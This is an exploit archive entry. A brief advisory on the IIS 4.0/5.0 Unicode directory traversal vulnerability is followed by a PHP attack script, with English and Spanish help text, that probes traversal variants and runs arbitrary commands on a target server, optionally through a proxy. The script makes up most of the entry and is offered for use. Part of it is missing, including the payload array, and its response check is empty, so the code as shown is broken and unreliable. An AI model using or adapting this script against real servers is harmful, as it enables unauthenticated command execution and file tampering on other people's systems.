source: https://www.securityfocus.com/bid/1806/info Microsoft IIS 4.0 and 5.0 are both vulnerable to double dot "../" directory traversal exploitation if extended UNICODE character representations are used in substitution for "/" and "\". Unauthenticated users may access any known file in the context of the IUSR_machinename account. The IUSR_machinename account is a member of the Everyone and Users groups by default, therefore, any file on the same logical drive as any web-accessible file that is accessible to these groups can be deleted, modified, or executed. Successful exploitation would yield the same privileges as a user who could successfully log onto the system to a remote user possessing no credentials whatsoever. It has been discovered that a Windows 98 host running Microsoft Personal Web Server is also subject to this vulnerability. (March 18, 2001) This is the vulnerability exploited by the Code Blue Worm. **UPDATE**: It is believed that an aggressive worm may be in the wild that actively exploits this vulnerability. #!php -q Test the vulnerability (Try known variants till find the good one)\n"; echo "-p --> Attack through proxy\n"; echo "\nUse Mode:\n1) Test the host and get the variants number in case vulnerability exists\n"; echo "2) Attack with command and variants number (optionaly you can use proxy)\n"; echo "Note : When you specify a command with spaces, replace spaces with low script \"_\" \n"; echo "and you must double the backslash \"\\\". \n Example".$argv[0]." -p proxy.prx:3128 www.victima.com dir_c:\\\\inetpub 49\n"; echo "Thanks to An-tonio for the proxy support.\n"; echo "Bug discover by Anonymous Post.\n"; echo "TYPE ".$argv[0]." spanish, for Spanish help.\n"; } else { if($argv[1]=="spanish") { echo "\n\n--------------------------------------------------------------------\n"; echo "------------- (c) Exploit UNICODE para IIS 5.0/4.0 por BoloTron ----\n"; echo "--------------------------------------------------------------------\n\n"; echo "Uso del artefacto maligno :\n"; echo $argv[0]." -t www.victima.vic\n"; echo $argv[0]." -t www.victima.vic -p proxy:puerto\n"; echo $argv[0]." www.victima.vic comando n�_de_variante\n"; echo $argv[0]." -p proxy:port www.victima.vic comand n�_de_variante\n"; echo "Opciones:\n"; echo "-t --> Testea la vulnerabilidad, prueba todas las variantes hasta encontrar una buena.\n"; echo "-p --> Ataque a traves de proxy\n"; echo "\nModo de Empleo:\n1) Testear el host y anotar el numero de variante en caso de ser vulnerable\n"; echo "2) Atacar especificando comando y n� de variante (opcionalmente puedes especificar un proxy)\n"; echo "Nota : Cuando se especifica un comando en el que hay espacios hay que sustituirlos por un guion bajo _ \n"; echo "y las contrabarras hay que ponerlas dobles. \nEjemplo : ".$argv[0]." -p proxy.prx:3128 www.victima.com dir_c:\\\\inetpub 49\n"; echo "Gracias a An-tonio por sus indicaciones en el soporte proxy.\n"; echo "Bug descubierto por aviso anonimo.\n"; exit; } if($argv[1]=="-t") { if ($argv[3]=="-p") { for($i=0;$i<70;$i++) { $prox=explode(":",$argv[4]); $comando="dir+c:\\"; $fp = fsockopen($prox[0], $prox[1]); if(!$fp) { echo "Conection failed...\n"; } else { fputs($fp,"GET http://".$argv[2]."".$vector_ataque[$i]."".$comando." HTTP/1.0\n\n"); echo "Trying variant number ".$i." "; while(!feof($fp)) { $resul=$resul.fgets($fp,128); } if (ereg("", $resul)) { echo "-----> Vulnerable!!\n"; exit; } else { echo "-----> NoT Vulnerable :(\n"; } } fclose($fp); } } else { for($i=0;$i<70;$i++) { $port=80; $comando="dir+c:\\"; $fp = fsockopen($argv[2], $port); if(!$fp) { echo "Conection failed...\n"; } else { fputs($fp,"GET ".$vector_ataque[$i]."".$comando." HTTP/1.0\n\n"); echo "Trying variant number ".$i." "; while(!feof($fp)) { $resul=$resul.fgets($fp,128); } if (ereg("", $resul)) { echo "-----> vulnerable!!\n"; exit; } else { echo "-----> No Vulnerable :(\n"; } } fclose($fp); } } } else { if($argv[1]=="-p") { $prox=explode(":",$argv[2]); $port=$prox[1]; $comando=ereg_replace("_","+",$argv[4]); $fp = fsockopen($prox[0], $port); if(!$fp) { echo "Conection failed.\n"; } else { fputs($fp,"GET http://".$argv[3]."".$vector_ataque[$argv[5]]."".$comando." HTTP/1.0\n\n"); while(!feof($fp)) { echo fgets($fp,128); } } fclose($fp); } else { $port=80; $comando=ereg_replace("_","+",$argv[2]); $fp = fsockopen($argv[1], $port); if(!$fp) { echo "Conection failed.\n"; } else { fputs($fp,"GET ".$vector_ataque[$argv[3]]."".$comando." HTTP/1.0\n\n"); while(!feof($fp)) { echo fgets($fp,128); } } fclose($fp); } } } ?>